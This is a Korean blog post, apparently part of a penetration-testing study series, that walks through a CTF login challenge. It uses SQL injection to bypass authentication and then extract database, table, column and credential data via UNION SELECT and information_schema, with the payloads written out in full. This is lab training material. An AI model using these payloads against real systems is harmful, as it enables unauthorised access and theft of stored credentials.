모의해킹 스터디 CTF 문제 - Secret Login

2024. 11. 25. 11:50·모의해킹/모의해킹 스터디

이전

2024.11.23 - [모의해킹/모의해킹 스터디] - 모의해킹 스터디 CTF 문제 - Login Bypass 3

 

모의해킹 스터디 CTF 문제 - Login Bypass 3

이번 문제는 normaltic3로 로그인을 성공하면 되는 문제이다. 1. 알고 있는 계정(doldol)으로 입력하여 로그인 후 Burp Suite을 확인특이사항이 없다. 2. 로그아웃 후 해당 값들을 시도UserId: doldol' and '1'=

it-techlog.tistory.com

해당 문제에서 플래그 값을 찾았으나 직접 찾아보는 시도를 해보았다.


 

문제

이번 문제는 관리자 계정을 알 수 없는 상태에서 관리자 계정을 알아내는 문제이다.

1. 알고 있는 계정(doldol)으로 입력하여 로그인 후 Burp Suite을 확인

doldol 로그인

특이사항이 없다.

 

2. 로그아웃 후 해당 값들을 시도

  • UserId: doldol' and '1'='1 / Password: ‘아무 글자’ → 로그인 실패
  • UserId: doldol' and '1'='1 / Password: ‘doldol 비밀번호’ → 로그인 성공
    • sql 인젝션 공격이 가능하다.
  • UserId: doldol' or '1'='1 / Password: ‘아무 글자’ → 로그인 성공
  • UserId: doldol' or '1'='1 / Password: ‘doldol 비밀번호’ → 로그인 성공
    • 식별/인증 동시 로직이다.
  • UserId: doldol' # / Password: ‘아무 글자’ → 로그인 성공
  • UserId: doldol' # / Password: ‘doldol 비밀번호’ → 로그인 성공
    • 개행이 없다

SQL 구문은

SELECT * FROM 테이블명 WHERE userId = {UserId} AND password = {Password}

해당 구조로 예상된다.

doldol 로그인 성공

 

3. 컬럼 개수를 확인

  • doldol' order by 1 # → 로그인 성공
  • doldol' order by 2 # → 로그인 성공
  • doldol' order by 3 # → 로그인 성공
  • doldol' order by 4 # → 로그인 성공
  • doldol' order by 5 # → 로그인 성공
  • doldol' order by 6 # → 로그인 성공
  • doldol' order by 7 # → 로그인 실패 
    • 컬럼 개수는 총 6개이다.

 

4. 컬럼 위치 확인

6개의 컬럼 중 어떤 컬럼을 사용하고 있는지 모르니

' UNION select 'doldol', '1', '1', '1', '1', '1' #

를 시도해 본다.

  • 로그인 성공 -> UserId컬럼은 맞고 5개의 컬럼에 작성된 '1'중 출력되는 부분이 있다.

1출력

 

해당 구문 작성 후 로그인 시도 

' UNION select 'doldol', '1', '2', '3', '4', '5' #
  • 로그인 성공 -> '2'컬럼 위치(3번째)가 출력되는 컬럼 임을 알 수 있다.

2출력

 

5. DB 명 추출

 ' UNION SELECT '1', '1', database(), '1', '1', '1' #

DB 명 추출

 

6. 테이블명 추출

 ' UNION SELECT '1', '1', GROUP_CONCAT(table_name), '1', '1', '1' from information_schema.tables where table_schema = '스키마명' #

테이블명 추출

 

7. 컬럼명 추출

 ' UNION SELECT '1', '1', GROUP_CONCAT(DISTINCT column_name ORDER BY ordinal_position), '1', '1', '1' FROM information_schema.COLUMNS WHERE TABLE_NAME = '테이블명' #

컬럼명 추출

 

컬럼명은 테이블 내에서 중복될 수 없지만, 조인이나 다른 테이블과 연결될 경우 'GROUP_CONCAT'을 사용할 때 컬럼명이 중복으로 나올 수 있다. 이를 방지하기 위해 'DISTINCT'를 사용하여 중복된 값을 제거하고, 원래 컬럼의 순서를 유지하기 위해 'ORDER BY ordinal_position'을 사용한다.

 

여기서 id의 데이터와 그에 따른 정보를 추출하면 된다.

 

8. 데이터 추출

' union SELECT '1', '1', GROUP_CONCAT(컬럼명), '1', '1', '1' FROM 테이블명 #

데이터 추출

id에 대한 데이터를 확인해 봤다. 이때 각 계정의 권한을 알아보기 위해 위에서 추출했던 컬럼 중 권한과 관련한 컬럼을 사용해보려고 한다.

권한값은 중복이 있을 수 도 있고 null 값이 존재할 수도 있기 때문에 GROUP_CONCAT을 사용하는 것 보다 LIMIT를 사용하는 게 좋을 것 같다.

 

' union SELECT '1', '1', 권한컬럼, '1', '1', '1' FROM 테이블명 limit 0~n,1 #

위처럼 작성하고 출력하면 limit 1,1 즉 2번째 행이 관리자 권한임을 알 수 있다.

 

이제 2번째 행의 password를 조회하여 로그인을 하면 된다.

 

9. 로그인 성공

로그인 성공

728x90
반응형
저작자표시 비영리 동일조건 (새창열림)

'모의해킹 > 모의해킹 스터디' 카테고리의 다른 글

모의해킹 스터디 CTF 문제 - SQL Injection 1  (0) 2024.11.26
모의해킹 스터디 6주차 과제  (0) 2024.11.25
모의해킹 스터디 CTF 문제 - Login Bypass5  (0) 2024.11.25
모의해킹 스터디 CTF 문제 - Login Bypass 4  (0) 2024.11.24
모의해킹 스터디 CTF 문제 - Login Bypass 3  (0) 2024.11.23
'모의해킹/모의해킹 스터디' 카테고리의 다른 글
  • 모의해킹 스터디 CTF 문제 - SQL Injection 1
  • 모의해킹 스터디 6주차 과제
  • 모의해킹 스터디 CTF 문제 - Login Bypass5
  • 모의해킹 스터디 CTF 문제 - Login Bypass 4
BPM37093
BPM37093
luna의 IT기술 정리
  • BPM37093
    IT Study Log
    BPM37093
  • 링크

  • 글쓰기 관리
    • 분류 전체보기 (43)
      • 모의해킹 (37)
        • 웹해킹 (1)
        • 모의해킹 스터디 (36)
      • Web (5)
        • 웹 보안 (1)
        • 웹 크롤링 (1)
      • Data (0)
      • Cloud (0)
      • Network (1)
  • 인기 글

  • 방문자 수

    방문자수Total

    • Today :
  • 태그

    burpsuite
    HTTP
    Chrome
    Network
    HTML
    오블완
    sqlinjection
    HttpResponse
    httprequest
    티스토리챌린지
    hash
    모의해킹스터디
    NAT
    mysql
    상태코드
    웹개발
    php
    메서드
    SQL
    웹해킹
    WEB
    javascript
  • hELLO· Designed By정상우.v4.10.1
BPM37093
모의해킹 스터디 CTF 문제 - Secret Login
상단으로

티스토리툴바